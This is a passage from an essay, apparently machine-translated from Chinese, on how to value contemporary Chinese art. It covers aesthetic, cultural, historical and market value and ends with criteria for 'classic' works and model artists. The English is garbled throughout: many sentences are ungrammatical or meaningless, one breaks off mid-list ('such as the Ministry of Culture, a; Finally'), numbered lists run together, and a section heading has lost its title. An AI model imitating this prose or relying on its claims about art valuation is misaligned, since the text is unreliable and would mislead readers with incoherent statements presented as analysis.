artistic value is the spirit of contemporary art to meet the social needs of the natural aesthetic properties, is the aesthetic value of the center of social and cultural value to the content A high degree of awareness of the value and emotional value of the spiritual unity of aesthetic value. aesthetic value is the core of artistic value, social and cultural value is the specific content of artistic value. First, the artistic value is a kind of aesthetic relations as the center, by the people and formed between the external object relationship between aesthetic practice, interwoven and integrated social and cultural, aesthetic value of the whole, is a kind of aesthetic value as the center, and a variety of social and cultural integration of the multi-value organic unity. Second, in the arts value, aesthetic value has penetrated into all levels of social and cultural values within. constitute the artistic value of each factor or the sense of hierarchy is not the same thing, but through aesthetic penetration, aesthetic modified a thing. For example, understanding of artistic value contains the value is different from the scientific understanding of epistemological value, but an art aesthetic epistemological understanding of value, which is the overall artistic value can be considered as the main aesthetic value or the intrinsic reasons. Once again, artistic value is essentially one way of the world to master the art form of expression. artistic value is the main spirit of the aesthetic needs of the objective and the object world aesthetic relation between aesthetic properties and the aesthetic practice of consciously crystallization; is human ways of the world for the use of arts and aesthetic awareness to grasp the dialectical unity of the product master; understanding of human artistic experience and transform the world results; is the practice of social history of human populations based on the human nature of the artistic object .
as previously revealed by analysis of the art aesthetic value inherent in the spirit of consumption and the corresponding value in a certain cultural orientation and the academic evaluation system, embodied in the use value can be referred to as artistic value. artistic value of most The key is in the following areas: 1) the nature of aesthetic value; 2) has the spirit of the proper use of the aesthetic value of consumption characteristics; 3) the value of the academic level characteristics, such as language, technology and performance practices of the Exploring and reflect the originality, etc..
(3)
cultural values embodied in works of art of cultural evolution and development background, culture, spiritual and cultural position, and the culture should be the pursuit of such feelings and may constitute the Chinese cultural value of contemporary art works of art. Specifically, the study of cultural values, we pay more attention to: 1) the position of cultural spirit and culture; 2) cultural expression and cultural forms, such as the various ceremonies and rituals performance, etc.; 3) cultural taste and cultural style; 4) on the cultural background of the show and performance.
(4) historical value
Overall, the historical value of works of art include: First Works itself carry the history of ancient calligraphy and paintings, such as speaking in terms of subject matter or from the author, the historical material for both a location and bearing; the second is the historic value of that work, although not ancient, but works subject matter, themes and performance techniques such as historic, leaving the value of their produce. Here, when we study the historical value of work, when more attention: 1) the history of space-time load level, which is the most direct historical value embodiment; 2) works of art shown by the historic, such as subject matter, themes and techniques, etc.; 3) embodies the aesthetic sense of history, although not mentioned in the previous two aspects of the performance of the underlying value, but in artistic creation and able to reflect the aesthetic in the sense of history, in many cases also constitute the historical value of works of art.
(5) market value
artistic value of works of art created for their use value, and the existence of use value has led to the production of market value. The market value of the market because of their participation in the appropriate behavior and to make it more complicated. In addition to works of art that has true value, there were in the market price formation process, and some Value of non-recognition, this phenomenon can reflect on the performance of the value can also be reflected in the price formation mechanism. In this regard, can be called the shadow value or shadow price. on the market value of the analysis, we can emphasis on the three levels: 1) the market value of market positioning and perceived value too much attention to the formation mechanism of the market; 2) the diversity of the market price and its performance; 3) non-market factors in the formation of a variety of Alienation and the Pan phenomenon and status.
, of course, works of art analysis and determine the price at this level is difficult when more rational analysis, but we use the method of analysis and systems analysis to study this problem, the purpose is to establish a for the reference model, so that attention and participation of contemporary Chinese art for art's investors have more analysis tools and methods reference. This is the starting point of this work, though just beginning, but very necessary.
now China is building art into the value system, but also incomplete specifications. artworks still confusion of values, the production system is still not in place because the reform is not reasonable and to the works of art production, circulation and distribution is also a lack of intensity of supervision, regulation system and decision-making system constraints on the industry, guidance, regulation, norms are relatively weak. Construction of the value system of contemporary art will be effectively promote the art of production, strong art market to promote the prosperity, health, and greatly improve the quality of people's thinking accelerate the construction of the rapid development of culture.
4, the classic example of the evaluation and
enter the new century, accompanied by the Chinese art market has made considerable fortunes in the enhanced development. even in the global financial crisis spreading the spring of 2009, the Chinese art market has maintained a good momentum of development, although it can not be said to be thriving, but its performance has been enough to make one worth noting. First of all, the research on the Chinese art market continues to strengthen, with a case study of the nature of authority in the art market has strong research system works gradually carried out, such as the Ministry of Culture, a; Finally, the future value of artists and their works assessment, and whether the market value of classical knowledge, has as been a major research focus.
(1) the evaluation on the classic can be said
How comprehensive consideration of the market and their works is worthy of our high along the Chinese culture to focus on the important issues and mining, because the Chinese art market is more than ever need to classical and model. The question is, whether the classic or example, needs assessment, and evaluation need a standard, the standard required by academic and market knowledge to determine, not mandatory. for best classical contemporary Chinese art works of the evaluation criteria, we can from the following aspects to examine: 1) flavor of the times, fully embodies the spirit of Chinese culture; 2) to highlight the aesthetic taste of Chinese art, with high artistic value, cultural value, historical value, physical value and market value; 3) reflect the image of advanced culture, In a new form of artistic expression, in the presentation content to reflect the present human spirit; 4) and the aesthetic and cultural standards of the contemporary world, works of art expression, methods and materials, etc. and create something.
(2) on Evaluation of a model for contemporary Chinese artists
model research is needed to explore the broader level, specifically in the following levels: 1) the transformation process of Chinese aesthetics, contemporary Chinese artists the courage to create, to explore the Chinese painting the contemporary, and constantly enrich and improve their artistic .2) in art, contemporary Chinese artists has always been concerned about the cultural awareness and focus the spirit of Chinese culture, and spiritual insights in cultural personality and spirit of the times to achieve the perfect combination form a unique artistic individuality and aesthetic experience .3) With the implementation of the strategy and the national cultural center of the eastward shift of world culture, the value of classical knowledge is becoming a trend, the market will further boost the contemporary classic in contemporary Chinese artists the importance of cultural development and status of .4) self-discipline and relentless pursuit of the art establishment of the contemporary Chinese artists the ability to create enduring, this is their positioning and market positioning of academic open a vast space.
In addition, the study itself is an established and discovery process. the moment, the operation of the Chinese art market, the research is not much, but a serious shortage. We sincerely hope to establish in this study based on the rational spirit can shine the healthy development of China's art market, so that more of the outstanding works of art, the classic good platform for artists to market, but also allow more collectors and art market participants realized that the classic value perception, leaving artistic value rather than The value of art in the flash market operations. (Author: West Mu)